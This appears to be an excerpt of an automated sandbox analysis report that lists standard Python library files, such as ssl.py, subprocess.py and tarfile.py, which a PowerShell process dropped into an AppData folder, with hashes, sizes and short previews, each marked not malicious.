              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ssl.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):53651
              Entropy (8bit):4.77575452147837
              Encrypted:false
              SSDEEP:
              MD5:571E6D3BD2027FAD1078DEE641CC5943
              SHA1:599F7505020E6F09E39067C5DD7D4A90D4FCD446
              SHA-256:A2558EFEF465228296EE4507D49605BE195FEB557CD30BAC2ED551B59E701EA7
              SHA-512:D27F64F43E8414648A984CC5BB6E59FAC93C8E1F3E3BF06CA3B8418FAC1BA44479B1509262AA712C180D590027EC318FEE8E05D5F503F30DE8BA0A0841DC8942
              Malicious:false
              Reputation:unknown
              Preview:# Wrapper module for _ssl, providing some additional facilities..# implemented in Python. Written by Bill Janssen....."""This module provides some more Pythonic support for SSL.....Object types:.... SSLSocket -- subtype of socket.socket which does SSL over the socket....Exceptions:.... SSLError -- exception raised for I/O errors....Functions:.... cert_time_to_seconds -- convert time string used for certificate.. notBefore and notAfter functions to integer.. seconds past the Epoch (the time values.. returned from time.time()).... get_server_certificate (addr, ssl_version, ca_certs, timeout) -- Retrieve the.. certificate from the server at the specified.. address and return it as a PEM-encoded string......Integer constants:....SSL_ERROR_ZERO_RETURN..SSL_ERROR_WANT_READ..SSL_ERROR_WANT_WRITE..SSL_ERROR_WANT_X509_LOOKUP..SSL_ERROR_SYSCALL..SSL_ERROR_SSL..SSL_ERR

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\stat.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):5680
              Entropy (8bit):5.1523236470837945
              Encrypted:false
              SSDEEP:
              MD5:7A7143CBE739708CE5868F02CD7DE262
              SHA1:E915795B49B849E748CDBD8667C9C89FCDFF7BAF
              SHA-256:E514FD41E2933DD1F06BE315FB42A62E67B33D04571435A4815A18F490E0F6CE
              SHA-512:7ECF6AC740B734D26D256FDE2608375143C65608934AA51DF7AF34A1EE22603A790ADC5B3D67D6944BA40F6F41064FA4D6957E000DE441D99203755820E34D53
              Malicious:false
              Reputation:unknown
              Preview:"""Constants/functions for interpreting results of os.stat() and os.lstat().....Suggested usage: from stat import *.."""....# Indices for stat struct members in the tuple returned by os.stat()....ST_MODE = 0..ST_INO = 1..ST_DEV = 2..ST_NLINK = 3..ST_UID = 4..ST_GID = 5..ST_SIZE = 6..ST_ATIME = 7..ST_MTIME = 8..ST_CTIME = 9....# Extract bits from the mode....def S_IMODE(mode):.. """Return the portion of the file's mode that can be set by.. os.chmod()... """.. return mode & 0o7777....def S_IFMT(mode):.. """Return the portion of the file's mode that describes the.. file type... """.. return mode & 0o170000....# Constants used as S_IFMT() for various file types..# (not all are implemented on all systems)....S_IFDIR = 0o040000 # directory..S_IFCHR = 0o020000 # character device..S_IFBLK = 0o060000 # block device..S_IFREG = 0o100000 # regular file..S_IFIFO = 0o010000 # fifo (named pipe)..S_IFLNK = 0o120000 # symbolic link..S_IFSOCK = 0o140000 # s

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\statistics.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):44478
              Entropy (8bit):4.826888827291007
              Encrypted:false
              SSDEEP:
              MD5:4969BE7A4BD3A7D14413A54CCFC36806
              SHA1:696C43BD013708A58C401CC25BE4F2565C910E97
              SHA-256:AAF6547A24B49197A95977E128EE4EC8F8E8F03498059FB4AE826A036C9B0C7A
              SHA-512:1E5ED30CC795A331F25390D03019374D9BC9650F1F8339507260771E204884651F2982597EC88CC2F0A1F33AF649AE44B6720E4953FA0D2F33E288883F5376BF
              Malicious:false
              Reputation:unknown
              Preview:"""..Basic statistics module.....This module provides functions for calculating statistics of data, including..averages, variance, and standard deviation.....Calculating averages..--------------------....================== ==================================================..Function Description..================== ==================================================..mean Arithmetic mean (average) of data...fmean Fast, floating point arithmetic mean...geometric_mean Geometric mean of data...harmonic_mean Harmonic mean of data...median Median (middle value) of data...median_low Low median of data...median_high High median of data...median_grouped Median, or 50th percentile, of grouped data...mode Mode (most common value) of data...multimode List of modes (most common values of data)...quantiles Divide data into intervals with equal probability...================== ==

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\string.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):10846
              Entropy (8bit):4.509064552074567
              Encrypted:false
              SSDEEP:
              MD5:CB7C76D92FE77FCEB57279A18AFDB96E
              SHA1:BC102311785E8912AFDE553CAD6C54A92EA68051
              SHA-256:34B846AE1458673B9A9026E6300FF0947DD1B3DC374BDD1D126518D8D1A528B2
              SHA-512:7785AFAEA59CC3F86F590923C1416832C8AADCCB67A589074B8811BA1260257ABF3E8D5BF386F9296E4C31D8E69C2886D411D313EB2E4BCDCDE794C83A4C3480
              Malicious:false
              Reputation:unknown
              Preview:"""A collection of string constants.....Public module variables:....whitespace -- a string containing all ASCII whitespace..ascii_lowercase -- a string containing all ASCII lowercase letters..ascii_uppercase -- a string containing all ASCII uppercase letters..ascii_letters -- a string containing all ASCII letters..digits -- a string containing all ASCII decimal digits..hexdigits -- a string containing all ASCII hexadecimal digits..octdigits -- a string containing all ASCII octal digits..punctuation -- a string containing all ASCII punctuation characters..printable -- a string containing all ASCII characters considered printable...."""....__all__ = ["ascii_letters", "ascii_lowercase", "ascii_uppercase", "capwords",.. "digits", "hexdigits", "octdigits", "printable", "punctuation",.. "whitespace", "Formatter", "Template"]....import _string....# Some strings for ctype-style character classification..whitespace = ' \t\n\r\v\f'..ascii_lowercase = 'abcdefghijklmnopqrstuvwx

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\stringprep.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13189
              Entropy (8bit):4.91396520579551
              Encrypted:false
              SSDEEP:
              MD5:7A4A0BE66939C3F2E62531A37F6B60E1
              SHA1:A4E0BE0F314B738F9ACE2698BF5B7910A9B4A1A5
              SHA-256:FE08A5C09B78E5037F7CCB95B9014C5F4CC2B3968C9001F321D4788E0ADB45EB
              SHA-512:DF83633E7F827D909426B58AADD9AD5664BAB4787119F005C25A7659E28BC8D2834CAD7B3CF0BE011D3AD6F30129FF724D5C40601ED50B9F4C94B2635875B226
              Malicious:false
              Reputation:unknown
              Preview:# This file is generated by mkstringprep.py. DO NOT EDIT..."""Library that exposes various tables found in the StringPrep RFC 3454.....There are two kinds of tables: sets, for which a member test is provided,..and mappings, for which a mapping function is provided..."""....from unicodedata import ucd_3_2_0 as unicodedata....assert unicodedata.unidata_version == '3.2.0'....def in_table_a1(code):.. if unicodedata.category(code) != 'Cn': return False.. c = ord(code).. if 0xFDD0 <= c < 0xFDF0: return False.. return (c & 0xFFFF) not in (0xFFFE, 0xFFFF)......b1_set = set([173, 847, 6150, 6155, 6156, 6157, 8203, 8204, 8205, 8288, 65279] + list(range(65024,65040)))..def in_table_b1(code):.. return ord(code) in b1_set......b3_exceptions = {..0xb5:'\u03bc', 0xdf:'ss', 0x130:'i\u0307', 0x149:'\u02bcn',..0x17f:'s', 0x1f0:'j\u030c', 0x345:'\u03b9', 0x37a:' \u03b9',..0x390:'\u03b9\u0308\u0301', 0x3b0:'\u03c5\u0308\u0301', 0x3c2:'\u03c3', 0x3d0:'\u03b2',..0x3d1:'\u03b8', 0x3d2:'\u03c5'

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\struct.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):272
              Entropy (8bit):4.3743352648582725
              Encrypted:false
              SSDEEP:
              MD5:5B6FAB07BA094054E76C7926315C12DB
              SHA1:74C5B714160559E571A11EA74FEB520B38231BC9
              SHA-256:EADBCC540C3B6496E52449E712ECA3694E31E1D935AF0F1E26CFF0E3CC370945
              SHA-512:2846E8C449479B1C64D39117019609E5A6EA8030220CAC7B5EC6B4090C9AA7156ED5FCD5E54D7175A461CD0D58BA1655757049B0BCE404800BA70A2F1E12F78C
              Malicious:false
              Reputation:unknown
              Preview:__all__ = [.. # Functions.. 'calcsize', 'pack', 'pack_into', 'unpack', 'unpack_from',.. 'iter_unpack',.... # Classes.. 'Struct',.... # Exceptions.. 'error'.. ]....from _struct import *..from _struct import _clearcache..from _struct import __doc__..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\subprocess.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):87039
              Entropy (8bit):4.253206816074236
              Encrypted:false
              SSDEEP:
              MD5:AF21269C65819E2BECB701BD9AD0A113
              SHA1:8176B2711C75E33782AB317BEECA21432D12C21A
              SHA-256:863B6A9C34C5E7E0FF98693A86868B99C1D06156D3113393DB0620602166413D
              SHA-512:70C108146CF6BC6233C3B05637B112EE158CC51E5156A6377682A5FAFAC836BEE74E09EC7EBC907CD0D6FEB1AA17B1D44BCFC427E8CD6387A488C4C4DBA5D8BC
              Malicious:false
              Reputation:unknown
              Preview:# subprocess - Subprocesses with accessible I/O streams..#..# For more information about this module, see PEP 324...#..# Copyright (c) 2003-2005 by Peter Astrand <astrand@lysator.liu.se>..#..# Licensed to PSF under a Contributor Agreement.....r"""Subprocesses with accessible I/O streams....This module allows you to spawn processes, connect to their..input/output/error pipes, and obtain their return codes.....For a complete description of this module see the Python documentation.....Main API..========..run(...): Runs a command, waits for it to complete, then returns a.. CompletedProcess instance...Popen(...): A class for flexibly executing a command in a new process....Constants..---------..DEVNULL: Special value that indicates that os.devnull should be used..PIPE: Special value that indicates a pipe should be created..STDOUT: Special value that indicates that stderr should go to stdout......Older API..=========..call(...): Runs a command, waits for it to complete, then ret

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sunau.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):18684
              Entropy (8bit):4.553056496643947
              Encrypted:false
              SSDEEP:
              MD5:9494A603999DDED928C7CE75204B4550
              SHA1:67D6248D2265153FDF3AB20999D7955D7585DE2C
              SHA-256:2471854C4EEE8C0FDC7E0AB7B2583CE9CBF0A22804EF3B4369DE1DD6623F4228
              SHA-512:36279D7C7E0B85092333A3BB7C2843E4C593ED265536C5C87B9A777C1A34B6795B54B1657EB26541344A2BB736C78C1209B974D13959DC9C2311F00F7365940F
              Malicious:false
              Reputation:unknown
              Preview:"""Stuff to parse Sun and NeXT audio files.....An audio file consists of a header followed by the data. The structure..of the header is as follows..... +---------------+.. | magic word |.. +---------------+.. | header size |.. +---------------+.. | data size |.. +---------------+.. | encoding |.. +---------------+.. | sample rate |.. +---------------+.. | # of channels |.. +---------------+.. | info |.. | |.. +---------------+....The magic word consists of the 4 characters '.snd'. Apart from the..info field, all header fields are 4 bytes in size. They are all..32-bit unsigned integers encoded in big-endian byte order.....The header size really gives the start of the data...The data size is the physical size of the data. From the other..parameters the number of frames can be calculated...The encoding gives the way in which audio sampl

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\symtable.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):10539
              Entropy (8bit):4.558490188936937
              Encrypted:false
              SSDEEP:
              MD5:5E670049729E2B3C00DB6146DF365B42
              SHA1:5F3C42EF566DFC4B298D1C6DE9BDA00D3A1C6CF9
              SHA-256:771739EE612604D938FAF47967BCA20353E04A34537C7F70263336CEC035EC89
              SHA-512:BFDE47732F4A7D3DF94D3F68C7B77EBF2E26DC41E8537969EE2F22F5FB09CB405BF5364E9C292CF43C54CF420723F62DA9A38FA4EDC2CEC5935FCE0AF91E4EFD
              Malicious:false
              Reputation:unknown
              Preview:"""Interface to the compiler's internal symbol tables"""....import _symtable..from _symtable import (USE, DEF_GLOBAL, DEF_NONLOCAL, DEF_LOCAL, DEF_PARAM,.. DEF_IMPORT, DEF_BOUND, DEF_ANNOT, SCOPE_OFF, SCOPE_MASK, FREE,.. LOCAL, GLOBAL_IMPLICIT, GLOBAL_EXPLICIT, CELL)....import weakref....__all__ = ["symtable", "SymbolTable", "Class", "Function", "Symbol"]....def symtable(code, filename, compile_type):.. """ Return the toplevel *SymbolTable* for the source code..... *filename* is the name of the file with the code.. and *compile_type* is the *compile()* mode argument... """.. top = _symtable.symtable(code, filename, compile_type).. return _newSymbolTable(top, filename)....class SymbolTableFactory:.. def __init__(self):.. self.__memo = weakref.WeakValueDictionary().... def new(self, table, filename):.. if table.type == _symtable.TYPE_FUNCTION:.. return Function(table, filename).. if table.type == _symtable.TYPE_CLASS:..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sysconfig.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):28412
              Entropy (8bit):4.809738101386029
              Encrypted:false
              SSDEEP:
              MD5:3C7466218544AA3B78754297FBE0A362
              SHA1:879CFAAB401C08552198FAADF5E93A6D907CDAC3
              SHA-256:BF6878D23532A73D8CCE030C9FFD27CE5606A7AB37F6CE0868D45078303A3D88
              SHA-512:1C5AA6E5EA8B3C88EC3A96DD1025EECAB58A073A6170E36885D96127148694B8E49AE29282A0ADB96E9AED5D65C450917202E19E714325E28A3C1E89BF8FF74F
              Malicious:false
              Reputation:unknown
              Preview:"""Access to Python's configuration information."""....import os..import sys..from os.path import pardir, realpath....__all__ = [.. 'get_config_h_filename',.. 'get_config_var',.. 'get_config_vars',.. 'get_makefile_filename',.. 'get_path',.. 'get_path_names',.. 'get_paths',.. 'get_platform',.. 'get_python_version',.. 'get_scheme_names',.. 'parse_config_h',..]....# Keys for get_config_var() that are never converted to Python integers..._ALWAYS_STR = {.. 'MACOSX_DEPLOYMENT_TARGET',..}...._INSTALL_SCHEMES = {.. 'posix_prefix': {.. 'stdlib': '{installed_base}/{platlibdir}/python{py_version_short}',.. 'platstdlib': '{platbase}/{platlibdir}/python{py_version_short}',.. 'purelib': '{base}/lib/python{py_version_short}/site-packages',.. 'platlib': '{platbase}/{platlibdir}/python{py_version_short}/site-packages',.. 'include':.. '{installed_base}/include/python{py_version_short}{abiflags}',.. 'platinclude':

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\tabnanny.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):11630
              Entropy (8bit):4.476146454696836
              Encrypted:false
              SSDEEP:
              MD5:D4EDAFFB57B5F7E6951E736CF97593C5
              SHA1:41FFCFBF3E0EFBCC5B9F8F1036750EFE5935E532
              SHA-256:2BC9219A65A25D5A5A9C602E34EB30E57AA92C0E1E5F88810B385B5671287563
              SHA-512:21C2770812D98D0E6E0E28F867BBC304409AA7B56D4EA3F7B6B6795011AD38E9D31B685B6C148D0DC9D986E052E34F3D2E02D9A4E55AB27E728C3B6725D2CDC3
              Malicious:false
              Reputation:unknown
              Preview:#! /usr/bin/env python3...."""The Tab Nanny despises ambiguous indentation. She knows no mercy.....tabnanny -- Detection of ambiguous indentation....For the time being this module is intended to be called as a script...However it is possible to import it into an IDE and use the function..check() described below.....Warning: The API provided by this module is likely to change in future..releases; such changes may not be backward compatible..."""....# Released to the public domain, by Tim Peters, 15 April 1998.....# XXX Note: this is now a standard library module...# XXX The API needs to undergo changes however; the current code is too..# XXX script-like. This will be addressed later.....__version__ = "6"....import os..import sys..import tokenize....__all__ = ["check", "NannyNag", "process_tokens"]....verbose = 0..filename_only = 0....def errprint(*args):.. sep = "".. for arg in args:.. sys.stderr.write(sep + str(arg)).. sep = " ".. sys.stderr.write("\n")....def

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\tarfile.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):98505
              Entropy (8bit):4.4936859498516855
              Encrypted:false
              SSDEEP:
              MD5:AFF6CDD5D1BF1F5D762722A8F2DE3682
              SHA1:9240104EF5E5A3CAD532EDB48F5284888303C582
              SHA-256:C64E0E9D426B82809A815277D43169CB1EEA2F9C95A954C9E5CDD666EC00783E
              SHA-512:2A09F0103A1CAA6AB108F27411CC3689A691B2021F891BBB1F71219C41986799BEB90902C5E83F6DB0226497AD5B4C0DFDEEA919BC4BE3F3ACF342C4B3C3CCB7
              Malicious:false
              Reputation:unknown
              Preview:#!/usr/bin/env python3..#-------------------------------------------------------------------..# tarfile.py..#-------------------------------------------------------------------..# Copyright (C) 2002 Lars Gustaebel <lars@gustaebel.de>..# All rights reserved...#..# Permission is hereby granted, free of charge, to any person..# obtaining a copy of this software and associated documentation..# files (the "Software"), to deal in the Software without..# restriction, including without limitation the rights to use,..# copy, modify, merge, publish, distribute, sublicense, and/or sell..# copies of the Software, and to permit persons to whom the..# Software is furnished to do so, subject to the following..# conditions:..#..# The above copyright notice and this permission notice shall be..# included in all copies or substantial portions of the Software...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDI

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\telnetlib.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):23931
              Entropy (8bit):4.513930532086154
              Encrypted:false
              SSDEEP:
              MD5:EB3B08FCEA31D18D33A07BD207D58138
              SHA1:F46BCA2B1F77A220229D678E0C134FE4E89BF0D7
              SHA-256:25012B9A5584CB996866A80A7A94BAF9BDC7567213561648DE7CA47D9F82B5D5
              SHA-512:4F673E37B236492F843384C693C8A37A13D8B72EEC107A9AD7218238A330B5824093D78E6A96B20952F2CE1F3F6939F311992D71095D7BBB8E47679199C6CCA9
              Malicious:false
              Reputation:unknown
              Preview:r"""TELNET client class.....Based on RFC 854: TELNET Protocol Specification, by J. Postel and..J. Reynolds....Example:....>>> from telnetlib import Telnet..>>> tn = Telnet('www.python.org', 79) # connect to finger port..>>> tn.write(b'guido\r\n')..>>> print(tn.read_all())..Login Name TTY Idle When Where..guido Guido van Rossum pts/2 <Dec 2 11:10> snag.cnri.reston......>>>....Note that read_all() won't read until eof -- it just reads some data..-- but it guarantees to read at least one byte unless EOF is hit.....It is possible to pass a Telnet object to a selector in order to wait until..more data is available. Note that in this case, read_eager() may return b''..even if there was data on the socket, because the protocol negotiation may have..eaten the data. This is why EOFError is needed in some cases to distinguish..between "no data" and "connection closed" (since the socket also appears ready..for reading when it is closed).....To

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\tempfile.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):30059
              Entropy (8bit):4.458883871447617
              Encrypted:false
              SSDEEP:
              MD5:ADF281376FF2C17FE5648DAB3FF70635
              SHA1:9021298C6718C800AC40C08798DB4C5ECF254E93
              SHA-256:068FE9CF767803038445D0907CAA1012B7BEBA34125A59E5DBA6D29C3EBE0FE1
              SHA-512:98690E8B7E89ECEB5DC1DDAD07BF60B9BCD167D99545755E26AC8C12F0D01A023CBA2B20559C4D79CB16BFFACE0DA538D116AD219C83745FB6EA153E79A520A6
              Malicious:false
              Reputation:unknown
              Preview:"""Temporary files.....This module provides generic, low- and high-level interfaces for..creating temporary files and directories. All of the interfaces..provided by this module can be used without fear of race conditions..except for 'mktemp'. 'mktemp' is subject to race conditions and..should not be used; it is provided for backward compatibility only.....The default path names are returned as str. If you supply bytes as..input, all return values will be in bytes. Ex:.... >>> tempfile.mkstemp().. (4, '/tmp/tmptpu9nin8').. >>> tempfile.mkdtemp(suffix=b'').. b'/tmp/tmppbi8f0hy'....This module also provides some data items to the user:.... TMP_MAX - maximum number of names that will be tried before.. giving up... tempdir - If this is set to a string before the first use of.. any routine from this module, it will be considered as.. another candidate location to store temporary files..."""....__all__ = [.. "NamedTemporaryFile", "Te

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\textwrap.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):20266
              Entropy (8bit):4.4470622302172105
              Encrypted:false
              SSDEEP:
              MD5:23A46648FFEC2BE524DEA36472771AFA
              SHA1:68BFBEE2540F7937B9C46EC5CF00D25539151019
              SHA-256:288D890D5440F4536EA74E75284C89931ECEF9D74D9033E8E9FA772C78789623
              SHA-512:70D95896F89DFFD2895240E38B771D8AB615EAE956979AC17DC5F4DA17CBA1898D83B2FB01DC4408426C3D0B9188916BD1138B4D8111070851EA2743E857423E
              Malicious:false
              Reputation:unknown
              Preview:"""Text wrapping and filling..."""....# Copyright (C) 1999-2001 Gregory P. Ward...# Copyright (C) 2002, 2003 Python Software Foundation...# Written by Greg Ward <gward@python.net>....import re....__all__ = ['TextWrapper', 'wrap', 'fill', 'dedent', 'indent', 'shorten']....# Hardcode the recognized whitespace characters to the US-ASCII..# whitespace characters. The main reason for doing this is that..# some Unicode spaces (like \u00a0) are non-breaking whitespaces..._whitespace = '\t\n\x0b\x0c\r '....class TextWrapper:.. """.. Object for wrapping/filling text. The public interface consists of.. the wrap() and fill() methods; the other methods are just there for.. subclasses to override in order to tweak the default behaviour... If you want to completely replace the main wrapping algorithm,.. you'll probably have to override _wrap_chunks()..... Several instance attributes control various aspects of wrapping:.. width (default: 70).. the maximum width of w

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\this.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1031
              Entropy (8bit):4.7762509461988625
              Encrypted:false
              SSDEEP:
              MD5:92F4A7B0A22F593C8BDF429CAC3D4589
              SHA1:958CCB19110A69ED6595B5F16C768CA73A85C469
              SHA-256:5A89B1A1F22384960E69C554633A98558231F11A48260952EBFC21CA10F0625C
              SHA-512:2E0A0118BE0F4B309E6286E8015FFE0885181A77B485BA39E528638757D59ADB2F15F9F2ACC04DE31794357556DD5CC622EC8D6526604CE6F3F8520C2B64D925
              Malicious:false
              Reputation:unknown
              Preview:s = """Gur Mra bs Clguba, ol Gvz Crgref....Ornhgvshy vf orggre guna htyl...Rkcyvpvg vf orggre guna vzcyvpvg...Fvzcyr vf orggre guna pbzcyrk...Pbzcyrk vf orggre guna pbzcyvpngrq...Syng vf orggre guna arfgrq...Fcnefr vf orggre guna qrafr...Ernqnovyvgl pbhagf...Fcrpvny pnfrf nera'g fcrpvny rabhtu gb oernx gur ehyrf...Nygubhtu cenpgvpnyvgl orngf chevgl...Reebef fubhyq arire cnff fvyragyl...Hayrff rkcyvpvgyl fvyraprq...Va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff...Gurer fubhyq or bar-- naq cersrenoyl bayl bar --boivbhf jnl gb qb vg...Nygubhtu gung jnl znl abg or boivbhf ng svefg hayrff lbh'er Qhgpu...Abj vf orggre guna arire...Nygubhtu arire vf bsgra orggre guna *evtug* abj...Vs gur vzcyrzragngvba vf uneq gb rkcynva, vg'f n onq vqrn...Vs gur vzcyrzragngvba vf rnfl gb rkcynva, vg znl or n tbbq vqrn...Anzrfcnprf ner bar ubaxvat terng vqrn -- yrg'f qb zber bs gubfr!"""....d = {}..for c in (65, 97):.. for i in range(26):.. d[chr(i+c)] = chr((i+13) % 26 + c)....print("".jo

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\threading.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):58845
              Entropy (8bit):4.40732639245589
              Encrypted:false
              SSDEEP:
              MD5:E6E1AAD9071428279781BEAD7D1B474C
              SHA1:A9850A2678A63E39CC3D60F0379A81F85CB7F0CA
              SHA-256:40F8B3A0F8E8C44CC43627CE2D97416F2CCB4152D621ACC8F169C7B4D1427315
              SHA-512:EADAD58B9322ECC59C45A580B37491355D1495F3FDFCA81192E0EE528ADC34CDCEFA5C5895EE5F7692C78FE7652D98F258F6C6D4B1C1EBD2DDBE924C110F1C48
              Malicious:false
              Reputation:unknown
              Preview:"""Thread module emulating a subset of Java's threading model."""....import os as _os..import sys as _sys..import _thread..import functools....from time import monotonic as _time..from _weakrefset import WeakSet..from itertools import islice as _islice, count as _count..try:.. from _collections import deque as _deque..except ImportError:.. from collections import deque as _deque....# Note regarding PEP 8 compliant names..# This threading model was originally inspired by Java, and inherited..# the convention of camelCase function and method names from that..# language. Those original names are not in any imminent danger of..# being deprecated (even for Py3k),so this module provides them as an..# alias for the PEP 8 compliant names..# Note that using the new PEP 8 compliant names facilitates substitution..# with the multiprocessing module, which doesn't provide the old..# Java inspired names.....__all__ = ['get_ident', 'active_count', 'Condition', 'current_thread',.. 'en

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\timeit.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13871
              Entropy (8bit):4.371086714933462
              Encrypted:false
              SSDEEP:
              MD5:C6203F7BB9ECE6B3D3289A2E9BE08D6C
              SHA1:DF6A867CD0FB08947ACFB3939BA815B0E48DAA6D
              SHA-256:2632615C935A02D88636E5587955240CFD76D5DCCADC570719C3346E61D78182
              SHA-512:6CB49B882E7AD272C2AD0F852CDFEA0E01D458FBCCEAC1C279BA7D036F614B781C1607C49A788D635B92734B103D28446FA51E3E3A8CF4734BE06325F8DF59F7
              Malicious:false
              Reputation:unknown
              Preview:#! /usr/bin/env python3...."""Tool for measuring execution time of small code snippets.....This module avoids a number of common traps for measuring execution..times. See also Tim Peters' introduction to the Algorithms chapter in..the Python Cookbook, published by O'Reilly.....Library usage: see the Timer class.....Command line usage:.. python timeit.py [-n N] [-r N] [-s S] [-p] [-h] [--] [statement]....Options:.. -n/--number N: how many times to execute 'statement' (default: see below).. -r/--repeat N: how many times to repeat the timer (default 5).. -s/--setup S: statement to be executed once initially (default 'pass')... Execution time of this setup statement is NOT timed... -p/--process: use time.process_time() (default is time.perf_counter()).. -v/--verbose: print raw timing results; repeat for more digits precision.. -u/--unit: set the output time unit (nsec, usec, msec, or sec).. -h/--help: print this usage message and exit.. --: separate options from

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\token.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2523
              Entropy (8bit):5.200512889670289
              Encrypted:false
              SSDEEP:
              MD5:AA65A2487B85B91AB92597D0AB01B3DB
              SHA1:EFAB12AABDF40AE7C127678A4E398A0D8D7333C7
              SHA-256:DEEF9E816F02D761501BB6E28870B204E2341D39D3D5D0131F5853781CBF2C0E
              SHA-512:107CBAFEE254F31530768507318616CC177F014E84D4AC37280E5054AF94E70BCC3D578EBB608FCBBFE91211B8E6F4B5CC13C6E470736916101B2607912AB6DB
              Malicious:false
              Reputation:unknown
              Preview:"""Token constants."""..# Auto-generated by Tools/scripts/generate_token.py....__all__ = ['tok_name', 'ISTERMINAL', 'ISNONTERMINAL', 'ISEOF']....ENDMARKER = 0..NAME = 1..NUMBER = 2..STRING = 3..NEWLINE = 4..INDENT = 5..DEDENT = 6..LPAR = 7..RPAR = 8..LSQB = 9..RSQB = 10..COLON = 11..COMMA = 12..SEMI = 13..PLUS = 14..MINUS = 15..STAR = 16..SLASH = 17..VBAR = 18..AMPER = 19..LESS = 20..GREATER = 21..EQUAL = 22..DOT = 23..PERCENT = 24..LBRACE = 25..RBRACE = 26..EQEQUAL = 27..NOTEQUAL = 28..LESSEQUAL = 29..GREATEREQUAL = 30..TILDE = 31..CIRCUMFLEX = 32..LEFTSHIFT = 33..RIGHTSHIFT = 34..DOUBLESTAR = 35..PLUSEQUAL = 36..MINEQUAL = 37..STAREQUAL = 38..SLASHEQUAL = 39..PERCENTEQUAL = 40..AMPEREQUAL = 41..VBAREQUAL = 42..CIRCUMFLEXEQUAL = 43..LEFTSHIFTEQUAL = 44..RIGHTSHIFTEQUAL = 45..DOUBLESTAREQUAL = 46..DOUBLESLASH = 47..DOUBLESLASHEQUAL = 48..AT = 49..ATEQUAL = 50..RARROW = 51..ELLIPSIS = 52..COLONEQUAL = 53..OP = 54..AWAIT = 55..ASYNC = 56..TYPE_IGNORE = 57..TYPE_COMMENT = 58..SOFT_KEYWORD

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\tokenize.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
